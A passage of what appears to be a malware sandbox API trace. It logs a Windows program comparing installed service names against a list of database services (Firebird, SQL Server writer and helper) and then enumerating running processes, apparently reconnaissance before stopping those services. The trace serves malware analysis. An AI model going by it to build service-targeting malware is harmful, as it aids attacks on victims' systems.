(lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0303.381] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0303.381] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0303.381] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0303.381] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0303.382] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0303.382] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0303.382] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0303.382] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0303.382] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0303.382] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0303.382] lstrlenW (lpString="CryptSvc") returned 8 [0303.382] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0303.382] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0303.382] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0303.382] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0303.382] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0303.382] lstrlenW (lpString="DcomLaunch") returned 10 [0303.382] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0303.382] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0303.382] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0303.382] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0303.382] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0303.382] lstrlenW (lpString="DeviceAssociationService") returned 24 [0303.382] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0303.382] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0303.382] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0303.382] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0303.382] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0303.382] lstrlenW (lpString="Dhcp") returned 4 [0303.382] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0303.382] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0303.382] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0303.382] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0303.382] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0303.382] lstrlenW (lpString="Dnscache") returned 8 [0303.382] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0303.382] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0303.383] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0303.383] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0303.383] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0303.383] lstrlenW (lpString="DoSvc") returned 5 [0303.383] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DoSvc") returned 1 [0303.383] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DoSvc") returned 1 [0303.383] lstrcmpiW (lpString1="sqlwriter", lpString2="DoSvc") returned 1 [0303.383] lstrcmpiW (lpString1="mssqlserver", lpString2="DoSvc") returned 1 [0303.383] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DoSvc") returned 1 [0303.383] lstrlenW (lpString="DPS") returned 3 [0303.383] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0303.383] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0303.383] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0303.383] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0303.383] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0303.383] lstrlenW (lpString="DusmSvc") returned 7 [0303.383] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0303.383] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0303.383] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0303.383] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0303.383] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0303.383] lstrlenW (lpString="EventLog") returned 8 [0303.383] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0303.383] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0303.383] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0303.383] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0303.383] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0303.383] lstrlenW (lpString="EventSystem") returned 11 [0303.383] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0303.383] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0303.383] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0303.383] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0303.383] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0303.383] lstrlenW (lpString="FontCache") returned 9 [0303.384] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0303.384] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0303.384] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0303.384] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0303.384] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0303.384] lstrlenW (lpString="gpsvc") returned 5 [0303.384] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0303.384] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0303.384] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0303.384] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0303.384] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0303.384] lstrlenW (lpString="iphlpsvc") returned 8 [0303.384] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0303.384] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0303.384] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0303.384] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0303.384] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0303.384] lstrlenW (lpString="KeyIso") returned 6 [0303.384] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0303.384] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0303.384] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0303.384] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0303.384] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0303.384] lstrlenW (lpString="LanmanServer") returned 12 [0303.384] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0303.384] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0303.384] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0303.384] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0303.384] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0303.384] lstrlenW (lpString="LanmanWorkstation") returned 17 [0303.384] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0303.384] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0303.384] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0303.384] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0303.385] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0303.385] lstrlenW (lpString="lfsvc") returned 5 [0303.385] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0303.385] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0303.385] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0303.385] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0303.385] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0303.385] lstrlenW (lpString="lmhosts") returned 7 [0303.385] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0303.385] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0303.385] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0303.385] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0303.385] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0303.385] lstrlenW (lpString="LSM") returned 3 [0303.385] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0303.385] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0303.385] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0303.385] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0303.385] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0303.385] lstrlenW (lpString="MapsBroker") returned 10 [0303.385] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MapsBroker") returned -1 [0303.385] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MapsBroker") returned -1 [0303.385] lstrcmpiW (lpString1="sqlwriter", lpString2="MapsBroker") returned 1 [0303.385] lstrcmpiW (lpString1="mssqlserver", lpString2="MapsBroker") returned 1 [0303.385] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MapsBroker") returned 1 [0303.385] lstrlenW (lpString="MpsSvc") returned 6 [0303.385] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0303.385] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0303.385] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0303.385] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0303.385] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0303.385] lstrlenW (lpString="NcbService") returned 10 [0303.385] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0303.386] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0303.386] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0303.386] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0303.386] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0303.386] lstrlenW (lpString="netprofm") returned 8 [0303.386] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0303.386] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0303.386] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0303.386] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0303.386] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0303.386] lstrlenW (lpString="NgcSvc") returned 6 [0303.386] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0303.386] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0303.386] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0303.386] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0303.386] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0303.386] lstrlenW (lpString="NlaSvc") returned 6 [0303.386] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0303.386] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0303.386] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0303.386] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0303.386] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0303.386] lstrlenW (lpString="nsi") returned 3 [0303.386] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0303.386] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0303.386] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0303.386] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0303.386] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0303.386] lstrlenW (lpString="PcaSvc") returned 6 [0303.386] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0303.386] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0303.386] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0303.386] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0303.386] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0303.387] lstrlenW (lpString="PlugPlay") returned 8 [0303.387] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0303.387] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0303.387] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0303.387] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0303.387] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0303.387] lstrlenW (lpString="Power") returned 5 [0303.387] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0303.387] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0303.387] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0303.387] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0303.387] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0303.387] lstrlenW (lpString="ProfSvc") returned 7 [0303.387] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0303.387] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0303.387] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0303.387] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0303.387] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0303.387] lstrlenW (lpString="RpcEptMapper") returned 12 [0303.387] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0303.387] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0303.387] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0303.387] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0303.387] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0303.387] lstrlenW (lpString="RpcSs") returned 5 [0303.387] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0303.387] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0303.387] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0303.387] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0303.387] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0303.388] lstrlenW (lpString="SamSs") returned 5 [0303.388] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0303.388] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0303.388] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0303.388] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0303.388] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0303.388] lstrlenW (lpString="Schedule") returned 8 [0303.388] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0303.388] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0303.388] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0303.388] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0303.388] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0303.388] lstrlenW (lpString="SecurityHealthService") returned 21 [0303.388] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0303.388] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0303.388] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0303.388] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0303.388] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0303.388] lstrlenW (lpString="SENS") returned 4 [0303.388] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0303.388] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0303.388] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0303.388] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0303.388] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0303.388] lstrlenW (lpString="ShellHWDetection") returned 16 [0303.388] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0303.388] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0303.388] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0303.388] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0303.388] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0303.388] lstrlenW (lpString="Spooler") returned 7 [0303.388] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0303.388] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0303.389] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0303.389] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0303.389] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0303.389] lstrlenW (lpString="SSDPSRV") returned 7 [0303.389] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1 [0303.389] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1 [0303.389] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1 [0303.389] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1 [0303.389] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1 [0303.389] lstrlenW (lpString="StateRepository") returned 15 [0303.389] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0303.389] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0303.389] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0303.389] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0303.389] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x45eee80 | out: hHeap=0x6e0000) returned 1 [0303.389] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x528 [0303.392] Process32FirstW (in: hSnapshot=0x528, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0303.393] Process32NextW (in: hSnapshot=0x528, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x96, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0303.393] lstrlenW (lpString="System") returned 6 [0303.394] Process32NextW (in: hSnapshot=0x528, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0303.394] lstrlenW (lpString="smss.exe") returned 8 [0303.394] Process32NextW (in: hSnapshot=0x528, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0303.395] lstrlenW (lpString="csrss.exe") returned 9 [0303.395] Process32NextW (in: hSnapshot=0x528, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0303.396] lstrlenW (lpString="wininit.exe") returned 11 [0303.396] Process32NextW (in: hSnapshot=0x528, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0303.396] lstrlenW (lpString="csrss.exe") returned 9 [0303.396] Process32NextW (in: hSnapshot=0x528, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0303.397] lstrlenW (lpString="winlogon.exe") returned 12 [0303.397] Process32NextW (in: hSnapshot=0x528, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0303.398] lstrlenW (lpString="services.exe") returned 12 [0303.398] Process32NextW (in: hSnapshot=0x528, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0303.399] lstrlenW (lpString="lsass.exe") returned 9 [0303.399] Process32NextW (in: hSnapshot=0x528, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x230, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0303.400] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0303.400] Process32NextW (in: hSnapshot=0x528, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0303.400] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0303.400] Process32NextW (in: hSnapshot=0x528, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0303.401] lstrlenW (lpString="svchost.exe") returned 11 [0303.401] Process32NextW (in: hSnapshot=0x528, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0303.402] lstrlenW (lpString="svchost.exe") returned 11 [0303.402] Process32NextW (in: hSnapshot=0x528, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x384, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x230, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0303.402] lstrlenW (lpString="dwm.exe") returned 7 [0303.402] Process32NextW (in: hSnapshot=0x528, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0303.403] lstrlenW (lpString="svchost.exe") returned 11 [0303.403] Process32NextW (in: hSnapshot=0x528, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0303.404] lstrlenW (lpString="svchost.exe") returned 11 [0303.404] Process32NextW (in: hSnapshot=0x528, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0303.404] lstrlenW (lpString="svchost.exe") returned 11 [0303.404] Process32NextW (in: hSnapshot=0x528, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4c, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0303.405] lstrlenW 